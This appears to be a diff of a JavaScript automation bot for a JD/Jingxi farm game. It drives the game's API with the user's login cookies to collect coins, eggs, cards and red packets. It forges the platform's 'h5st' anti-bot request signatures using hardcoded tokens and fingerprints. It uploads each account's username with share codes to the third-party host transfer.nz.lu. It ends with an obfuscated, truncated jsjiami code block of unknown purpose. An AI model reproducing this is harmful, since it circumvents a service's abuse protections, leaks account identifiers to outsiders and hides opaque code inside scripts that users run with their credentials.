`&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSelfResult`, url); + break; + case 'jump': + let sar = Math.floor((Math.random() * $.petidList.length)); + url = `https://m.jingxi.com/jxmc/operservice/Action?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=1&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&petid=${$.petidList[sar]}&_stk=channel%2Cpetid%2Csceneid%2Ctype&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`jump`, url); + break; + case 'DoTask': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/DoTask?_=${Date.now() + 2}&source=${$.source}&taskId=${$.oneTask.taskId}&bizCode=${$.bizCode}&configExtra=`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`DoTask`, url); + break; + case 'Award': + url = `https://m.jingxi.com/newtasksys/newtasksys_front/Award?_=${Date.now() + 2}&source=${$.source}&taskId=${$.oneTask.taskId}&bizCode=${$.bizCode}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&sceneval=2&g_login_type=1&g_ty=ajax`; + myRequest = getGetRequest(`Award`, url); + break; + case 'cow': + url = `https://m.jingxi.com/jxmc/operservice/GetCoin?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&token=${A($.crowInfo.lastgettime)}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctoken&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'buy': + url = `https://m.jingxi.com/jxmc/operservice/Buy?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=1&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'feed': + url = `https://m.jingxi.com/jxmc/operservice/Feed?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`cow`, url); + break; + case 'GetEgg': + url = `https://m.jingxi.com/jxmc/operservice/GetSelfResult?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=11&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&itemid=${$.onepetInfo.petid}&_stk=channel%2Citemid%2Csceneid%2Ctype&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetEgg`, url); + break; + case 'help': + url = `https://m.jingxi.com/jxmc/operservice/EnrollFriend?sharekey=${$.code}&channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid%2Csharekey&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`help`, url); + break; + case 'GetVisitBackInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetVisitBackInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetVisitBackInfo`, url); + break; + case 'GetVisitBackCabbage': + url = `https://m.jingxi.com/jxmc/operservice/GetVisitBackCabbage?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetVisitBackCabbage`, url); + break; + case 'GetSignInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetSignInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSignInfo`, url); + break; + case 'GetSignReward': + url = `https://m.jingxi.com/jxmc/operservice/GetSignReward?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&currdate=${$.GetSignInfo.currdate}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Ccurrdate%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetSignReward`, url); + break; + case 'DoMainTask': + url = `https://m.jingxi.com/jxmc/operservice/DoMainTask?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&step=${$.step}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DoMainTask`, url); + break; + case 'GetCardInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetCardInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetCardInfo`, url); + break; + case 'DrawCard': + url = `https://m.jingxi.com/jxmc/operservice/DrawCard?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&_stk=activeid%2Cactivekey%2Cchannel%2Cjxmc_jstoken%2Cphoneid%2Csceneid%2Ctimestamp&_ste=1` + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DrawCard`, url); + break; + case 'Combine': + url = `https://m.jingxi.com/jxmc/operservice/Combine?channel=7&sceneid=1001&type=2&activeid=${$.activeid}&activekey=${$.activekey}&cardtype=${$.cardType}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`Combine`, url); + break; + case 'BuyNew': + url = `https://m.jingxi.com/jxmc/operservice/BuyNew?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&type=${$.petType}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`BuyNew`, url); + break; + case 'GetUserLoveInfo': + url = `https://m.jingxi.com/jxmc/queryservice/GetUserLoveInfo?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetUserLoveInfo`, url); + break; + case 'DrawLoveHongBao': + url = `https://m.jingxi.com/jxmc/operservice/DrawLoveHongBao?channel=7&sceneid=1001&activeid=${$.activeid}&activekey=${$.activekey}&lovevalue=${$.lovevalue}&jxmc_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`DrawLoveHongBao`, url); + break; + default: + console.log(`错误${type}`); + } + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + dealReturn(type, data); + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} + +function isNew(step, getNextStep = false) { + const charArr = [...Array(26).keys()].map(i => String.fromCharCode(i + 65)), + numArr = [...Array(12).keys()].map(i => i + 1) + if (getNextStep) { + const tempArr = step.split(`-`) + tempArr[0] = charArr[charArr.indexOf(tempArr[0]) + 1] + tempArr[1] = numArr[0] + return tempArr.join("-") + } + const tempArr = step.split(`-`) + if (tempArr.length < 2) return true + const num = numArr.length * (charArr.indexOf(tempArr[0])) + (+tempArr[1]), + orderArr = ['L', '6'] // 目标步骤 + const numTo = numArr.length * (charArr.indexOf(orderArr[0])) + (+orderArr[1]) + return num < numTo +} + +function dealReturn(type, data) { + switch (type) { + case 'GetHomePageInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.homeInfo = data.data; + $.activeid = $.homeInfo.activeid + $.activekey = $.homeInfo.activekey || null + $.coins = oc(() => $.homeInfo.coins) || 0; + if ($.homeInfo.giftcabbagevalue) { + console.log(`登陆获得白菜:${$.homeInfo.giftcabbagevalue} 颗`); + } + } else { + console.log(`获取活动信息异常:${JSON.stringify(data)}\n`); + } + break; + case 'mowing': + case 'jump': + case 'cow': + data = data.match(new RegExp(/jsonpCBK.?\((.*);*/)); + if (data && data[1]) { + data = JSON.parse(data[1]); + if (data.ret === 0) { + $.mowingInfo = data.data; + let add = ($.mowingInfo.addcoins || $.mowingInfo.addcoin) ? ($.mowingInfo.addcoins || $.mowingInfo.addcoin) : 0; + console.log(`获得金币:${add}`); + if (Number(add) > 0) { + $.runFlag = true; + } else { + $.runFlag = false; + console.log(`未获得金币暂停${type}`); + } + } + } else { + console.log(`cow 数据异常:${data}\n`); + } + break; + case 'GetSelfResult': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`打开除草礼盒成功`); + console.log(JSON.stringify(data)); + } + break; + case 'GetUserTaskStatusList': + data = JSON.parse(data); + if (data.ret === 0) { + $.taskList = data.data.userTaskStatusList; + } + break; + case 'Award': + data = JSON.parse(data); + if (data.ret === 0) { + console.log(`领取金币成功,获得${JSON.parse(data.data.prizeInfo).prizeInfo}`); + } + break; + case 'buy': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`购买成功,当前有白菜:${data.data.newnum}颗`); + } + break; + case 'feed': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`投喂成功`); + } else if (data.ret === 2020) { + console.log(`投喂失败,需要先收取鸡蛋`); + $.pause = true; + } else { + console.log(`投喂失败,${data.message}`); + console.log(JSON.stringify(data)); + $.runFeed = false; + } + break; + case 'GetEgg': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`成功收取${data.data.addnum}个蛋,现有鸡蛋${data.data.newnum}个`); + } + break; + case 'DoTask': + if (data.ret === 0) { + console.log(`执行任务成功`); + } + break; + case 'help': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + if (data.data.result === 0) { + console.log(`助力成功`); + } else if (data.data.result === 1) { + console.log(`不能助力自己`); + } else if (data.data.result === 3) { + console.log(`该好友助力已满`); + $.delcode = true; + } else if (data.data.result === 4) { + console.log(`助力次数已用完`); + $.canHelp = false; + } else if (data.data.result === 5) { + console.log(`已经助力过此好友`); + } else { + console.log(JSON.stringify(data)) + } + } else if (data.ret === 1016) { + console.log(`活动太火爆了,还是去买买买吧~`); + $.canHelp = false; + } else { + console.log(JSON.stringify(data)) + } + break; + case 'GetVisitBackInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetVisitBackInfo = data.data; + } + //console.log(JSON.stringify(data)); + break; + case 'GetVisitBackCabbage': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`收取白菜成功,获得${data.data.drawnum}`); + } + break; + case 'GetSignInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetSignInfo = data.data; + } + break; + case 'GetSignReward': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`签到成功`); + } + break; + case 'DoMainTask': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.DoMainTask = data.data; + } + break; + case 'GetCardInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetCardInfo = data.data; + } + break; + case 'DrawCard': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + if (data.data.prizetype === 1) { + console.log(`抽奖获得:1张${cardinfo[data.data.cardtype]}卡片`) + } else if (data.data.prizetype === 2) { + console.log(`抽奖获得:${data.data.rewardinfo.prizevalue / 100}红包`) + } else if (data.data.prizetype === 3) { + console.log(`抽奖获得:${data.data.addcoins}金币`) + } else { + console.log(`抽奖获得:${JSON.stringify(data)}`) + } + } + break; + case 'Combine': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`兑换成功,当前小鸡数量:${data.data.currnum}`) + } else { + console.log(`Combine:${JSON.stringify(data)}`) + } + break; + case 'BuyNew': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + const { costcoin, currnum, petid, type } = data.data + $.coins -= costcoin + console.log(`获得一只${petInfo[type].name},宠物id:${petid},当前拥有${currnum}只鸡`) + } else { + console.log(`BuyNew:${JSON.stringify(data)}`) + } + break; + case 'GetUserLoveInfo': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.GetUserLoveInfo = data.data.lovelevel + } + break; + case 'DrawLoveHongBao': + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + console.log(`领取爱心奖励获得:${data.data.rewardinfo.prizevalue / 100}红包`) + } else { + console.log(`DrawLoveHongBao:${JSON.stringify(data)}`) + } + break; + default: + console.log(JSON.stringify(data)); + } +} +function getGetRequest(type, url) { + const method = `GET`; + let headers = { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": $.cookie + }; + return { url: url, method: method, headers: headers }; +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.inviteCodeList, ...($.res || []), ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.inviteCodeList, ...($.res || [])])]; + } + console.log(`\n您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://transfer.nz.lu/jxmc`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取20个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +function uploadShareCode(code) { + return new Promise(async resolve => { + $.post({url: `https://transfer.nz.lu/upload/jxmc?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~`) + } else if (data === 'not in whitelist') { + console.log(`提交助力码失败,此用户不在白名单中`) + } else { + console.log(`未知错误:${data}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var 